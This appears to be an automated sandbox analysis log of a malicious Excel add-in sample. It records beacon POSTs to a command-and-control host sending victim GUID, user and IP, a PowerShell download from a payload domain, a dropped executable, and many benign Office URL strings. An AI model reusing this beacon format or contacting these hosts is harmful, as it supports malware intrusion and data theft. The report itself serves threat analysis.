Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00611FC0 InternetCrackUrlA,InternetConnectA,HttpOpenRequestA,InternetCloseHandle,InternetQueryOptionA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

Source: global traffic	HTTP traffic detected: GET /92375234.xml HTTP/1.1Connection: Keep-AliveHost: srand04rf.ru
Source: global traffic	HTTP traffic detected: GET /08.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: srand04rf.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: api.ipify.orgCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: srand04rf.ru

Source: unknown

HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 122Cache-Control: no-cacheData Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)

Source: snd32sys.exe	String found in binary or memory: http://api.ipify.org
Source: snd32sys.exe, 00000010.00000002.486399700.0000000000614000.00000002.00020000.sdmp	String found in binary or memory: http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID
Source: 0708_5355150121.xll	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000002.00000003.226352766.0000000007D51000.00000004.00000001.sdmp, 0708_5355150121.xll	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: 0708_5355150121.xll	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 0708_5355150121.xll	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: 0708_5355150121.xll	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 0708_5355150121.xll	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: powershell.exe, 00000002.00000002.350802485.0000000005BA1000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 0708_5355150121.xll	String found in binary or memory: http://ocsp.comodoca.com0
Source: 0708_5355150121.xll	String found in binary or memory: http://ocsp.sectigo.com0
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: powershell.exe, 00000006.00000002.332192660.0000000004A22000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.348758603.0000000004C80000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png8
Source: powershell.exe, 00000002.00000002.348512770.0000000004B41000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.331698788.00000000048E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.333951627.0000000004CEF000.00000004.00000001.sdmp	String found in binary or memory: http://srand04rf.ru
Source: powershell.exe, 00000006.00000002.333971406.0000000004CF7000.00000004.00000001.sdmp	String found in binary or memory: http://srand04rf.ru/08
Source: PowerShell_transcript.888683.93l2YHGR.20210708163033.txt.6.dr	String found in binary or memory: http://srand04rf.ru/08.jpg
Source: powershell.exe, 00000006.00000002.332529239.0000000004AEB000.00000004.00000001.sdmp	String found in binary or memory: http://srand04rf.ru4&jt
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: powershell.exe, 00000006.00000002.332192660.0000000004A22000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.348758603.0000000004C80000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html8
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.cortana.ai
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.office.net
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.onedrive.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://augloop.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://cdn.entity.
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://cortana.ai
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://cortana.ai/api
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://cr.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://directory.services.
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: powershell.exe, 00000006.00000002.332192660.0000000004A22000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.348758603.0000000004C80000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester8
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: powershell.exe, 00000006.00000003.320087365.000000000530E000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://graph.windows.net
